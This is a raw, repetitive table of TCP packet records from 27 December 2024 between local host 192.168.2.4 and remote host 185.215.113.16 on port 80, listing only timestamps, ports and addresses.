Dec 27, 2024 09:00:21.884329081 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.884337902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.884354115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.884370089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.884387970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.884402037 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.884402037 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.884421110 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.884737968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.884754896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.884790897 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.884882927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.884898901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.884949923 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.885407925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.885550976 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.885591030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.886331081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.886377096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.886380911 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.887160063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.887201071 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.887355089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.888019085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.888072014 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.888444901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.888890028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.888952017 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.889018059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.889755011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.889841080 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.889873028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.890660048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.890712976 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.890747070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.891614914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.891640902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.891686916 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.892433882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.892509937 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.892565966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.893327951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.893382072 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.893465996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.894135952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.894198895 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.894278049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.895015955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.895076036 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.895153999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.895916939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.895967007 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.896023989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.896756887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.896816969 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.896872997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.897687912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.897747993 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.897778988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.898578882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.898639917 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.898719072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.899440050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.899483919 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.899514914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.900320053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.900371075 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.900495052 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.901185036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.901233912 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.901314974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.902076960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.902132034 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:21.902139902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:21.954435110 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.407146931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.421848059 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.442434072 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.541506052 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.541542053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.541555882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.541670084 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.562000036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.562030077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.562043905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.562083960 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.562093019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.562109947 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.562448025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.562459946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.562469959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.562510014 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.562510014 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.562546015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.563311100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.563371897 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.563374996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.563386917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.563426018 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.563457012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.564337015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.564347982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.564357996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.564399958 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.564399958 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.564423084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.565186024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.565222025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.565241098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.565269947 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.565299988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.565315008 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.566164970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.566175938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.566186905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.566258907 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.566390991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.567150116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.567161083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.567169905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.567183018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.567203045 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.567222118 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.567995071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.568049908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.568059921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.568078041 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.568098068 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.568154097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.569000959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.569013119 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.569022894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.569053888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.569078922 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.569129944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.569860935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.569919109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.569931030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.569976091 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.569976091 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.570092916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.570801020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.570839882 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.570852041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.570863962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.570909977 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.571012020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.571734905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.571760893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.571775913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.571795940 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.571835041 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.571919918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.572617054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.572712898 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.572752953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.572771072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.572781086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.572808981 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.572886944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.572933912 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.573705912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.573717117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.573730946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.573800087 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.573834896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.573890924 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.574615955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.574668884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.574681044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.574728966 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.574801922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.574843884 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.575546026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.575599909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.575620890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.575722933 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.575738907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.575812101 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.576494932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.576548100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.576560020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.576636076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.576657057 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.576692104 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.577431917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.577460051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.577471972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.577528000 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.577558041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.577646971 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.578331947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.578372002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.578383923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.578433990 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.578471899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.578533888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.579303026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.579319000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.579330921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.579370975 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.579391956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.579479933 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.580240965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.580259085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.580271006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.580302954 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.580362082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.580424070 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.581182957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.581196070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.581208944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.581252098 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.581274986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.581336975 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.582057953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.582113028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.582125902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.582164049 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.582195997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.582242012 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.583018064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.583030939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.583048105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.583065033 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.583125114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.583163977 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.583962917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.583975077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.583986998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.584024906 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.584079981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.584899902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.584920883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.584934950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.584961891 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.584961891 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.585031033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.585510015 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.585808039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.585848093 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.585860968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.585906982 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.585933924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.585985899 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.586744070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.586756945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.586770058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.586783886 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.586858034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.587155104 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.587707996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.587721109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.587733030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.587776899 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.587847948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.587897062 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.588598967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.588648081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.588661909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.588702917 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.588861942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.588915110 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.589545965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.589566946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.589580059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.589627981 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.589649916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.589754105 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.590481043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.590528965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.590542078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.590593100 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.590671062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.590733051 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.591458082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.591470957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.591484070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.591507912 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.591561079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.591612101 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.592392921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.592406034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.592420101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.592441082 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.592641115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.592695951 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.593282938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.593341112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.593353987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.593408108 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.593514919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.593564987 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.594193935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.594239950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.594257116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.594317913 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.594396114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.594470978 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.595109940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.595149040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.595163107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.595216990 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.595251083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.595331907 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.596051931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.596072912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.596086979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.596136093 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.596169949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.596220016 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.596997023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.597023964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.597037077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.597122908 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.597141027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.597191095 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.597961903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.597975016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.597985983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.598061085 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.598072052 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.598202944 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.598931074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.598943949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.598957062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.598989010 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.599037886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.599133968 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.599780083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.599828959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.599842072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.599875927 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.599942923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.600075960 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.600692987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.600743055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.600754976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:22.600826025 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:22.600894928 CET	80	49743	185.215.113.16	192.168.2.4
